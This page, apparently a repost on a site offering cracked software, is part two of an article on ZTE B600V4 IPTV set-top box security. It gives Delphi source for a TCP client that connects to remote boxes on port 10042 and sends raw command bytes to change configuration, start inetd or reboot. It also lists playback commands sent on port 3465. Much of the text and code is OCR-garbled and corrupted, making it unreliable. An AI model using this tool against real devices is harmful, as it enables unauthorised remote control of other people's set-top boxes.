免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 谁在遥控我的电视(下)中兴机顶盒安全

谁在遥控我的电视(下)中兴机顶盒安全

时间:2012-02-16 18:50来源:未知 整理:寂涯网络 点击:

上期谁遥控了我的电视?—中兴机顶盒IPTV安全通过分析B600V4两个关键程序,阐述了该款机顶盒存在.再向读者介绍使用Delphi编写客户端软件,以及利用这些安全漏 后还介绍了如何利用升级包文件分析中兴其它型号机顶盒, 粗略讨论。
第一节delphi客户端程序的编写
rCPClient 控件
程序界面如图1使用Indy Clients的IdTCPClient控件,EdtHost和EdtPort分别指 定IP地址和端口号,BtnConnect连接到_定濟远程机顶盒,BtnSendCmd发送Comboboxl 中的机顶盒命令(仅连接10042端口^^6如361^«^七3发送EdtData字符串到机顶盒(比 如向机顶盒发送“Configcommand”命令^^还需要继续发送机顶盒新配置的数据,但这不 是必须的,一些命令如“RemoteSetCfg command”、“inetd Command”等执行成功后,并不 需要接收后续数据),6丨1^^3001^^(^断开当前的连接,8如016&凡(^清空发送和接收记录, 发送记录LbLog使用tlistbox接收记录使用TMemo控件。
■ dTCPC I i ent1 Qombobox1  r ■注粧
…■ ■ ■ |UheckaiHTVPEComm^J ; ; ; ; ; ; : BtnConnect^S-
待发送信息:: |EdtData
^Btn3endOmd ^^
发送记录:::::::::::::::::::::u;

图1
程序关键代码。BtnConnect的onClick事件如下:
 
procedure TForml. BtnConnectClick(Sender: TObject); begin
IdTcpClientl. Host := EdtHost. Text;
IdTcpClientl. Port := strtoint(EdtPort. Text);
LbLog. Items. Add(’ 正在连接 ’ + EdtHost. Text +,• • •,);
with IdTcpClientl do
begin
try
Connect(1000); try
LbLog. Items. Add(’ 已连接,+EdtHost. Text+,’ +EdtPort. Text+,! ’); BtnEnabled(True); //使能其它按键 if EdtPort. Text<>*10042* then begin
BtnSendCmd. Enabled := False;
Comboboxl. Enabled:=False; end; //连接端口不是10042时,禁用命令按键
except
LbLog. Items. Add(,远程主机无响应! ’);
IdTcpClientl. Disconnect(); end;//end try except
0^0&1七6^^.八43(’无法建立到’ + EdtHost. Text + ’的连接!,); end;//end try end;//end with end;
6七1^©1^0^^^1口&事件如下,对于660叭4八等型号机顶盒传输加密数据,可以釆 用十六进制显^^^^^€^当TCheckBox控件isHex选中时,按十六进制显示数据。
procedure TForml. BtnSendCmdClick(Sender: TObject);
var i:integer;recvStr: TStringStream;
begin
s:=#$01#$00#$00#$00#$00#$00#$00#$00; //Config command rs:=Comboboxl. Items[Comboboxl. ItemIndex];
if rs= Check STB TYPE Command’ then s:= #$04#$00#$00#$00#$00#$00#$00#$00; if rs= Config command’ then s:= #$00#$04#$00#$00#$00#$00#$00#$22; if rs=> RemoteSetCfg command’ then s:= #$00#$40#$00#$00#$00#$00#$00#$02; if rs= inetd Command, then s:= #$01#$00#$00#$00#$00#$00#$00#$00; if rs=’Coreup command’ then s:= #$10#$00#$00#$00#$00#$00#$01#$00; if rs=> Coreup_print command’ then s:= #$40#$00#$00#$00#$00#$00#$01#$00; if rs= reboot* then s:= #$00#$10#$00#$00#$00#$00#$00#$00; l:=IdTcpClientl. Socket. Send(pchar(s) ' length(s));
LbLog. 1七6^^.八44(’命令长度:,+inttostr(length(s))+,,发送长度:,+inttostr(l));
recvStr: =TStringStream. Create(* *);
1:=IdTcpClientl. ReadFromStack(false, 1000, false); //1 秒 while 1>0 do begin
f i
rs:=;
IdTcpClientl. ReadBuffer(r, 1);
for i:=0 to 1-1 do if isHex. Checked then rs:=rs+* $* +IntToHex(Ord(r[i]), 2) //全部釆用十六进制输出
//if r[i]<#$20 then rs:=rs+* $* +IntToHex(Ord(r[i]), 2) else rs:=rs+r[i]; // 部分釆用十六进制
else if r[i]<#$20 then rs:=rs+* ?* else rs:=rs+r[i]; //釆用字符形式输出 Memol.Lines.Add(,(长度’+inttostrQ)+,): ’+rs); l:=IdTcpClientl. ReadFromStack(false, 1000, false); //1 秒 end; end;
procedure TForml. BtnEnabled(B:boolean); begin
BtnConnect.Enabled := not(B);
BtnSendCmd. Enabled := B;
BtnDisconnect. Enabled := B;
BtnSendData. Enabled := B;
BtnClearLog. Enabled := B; end;
IdTCPClientl 的 onStatus 事靜$^^:
procedure TForml .IdTCPClientl Status(ASender: TObject;const AStatus: TIdStatus; const
AStatusText: String);
begin
LbLog.Items.Add(AStatusText); // IdTCPClientl 控件状态 if AStatus=hsDisconnected then begin
BtnEnabled(False); //当连接断开时,禁用按键 Comboboxl .Enabled:=True; //重新使能 ComBoBoxl
end;
end;
使用本程序还可以连接机顶盒的3465端口,并使用BtnSendData按键发送控制命令,比如 控制命令 “play”(播放)、“stop”(停止)、“pause”(暂停)、“resume”(恢复)、“setmute” (静音)等等。

本页地址 http://www.jybase.net/xitonganquan/20120216774.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com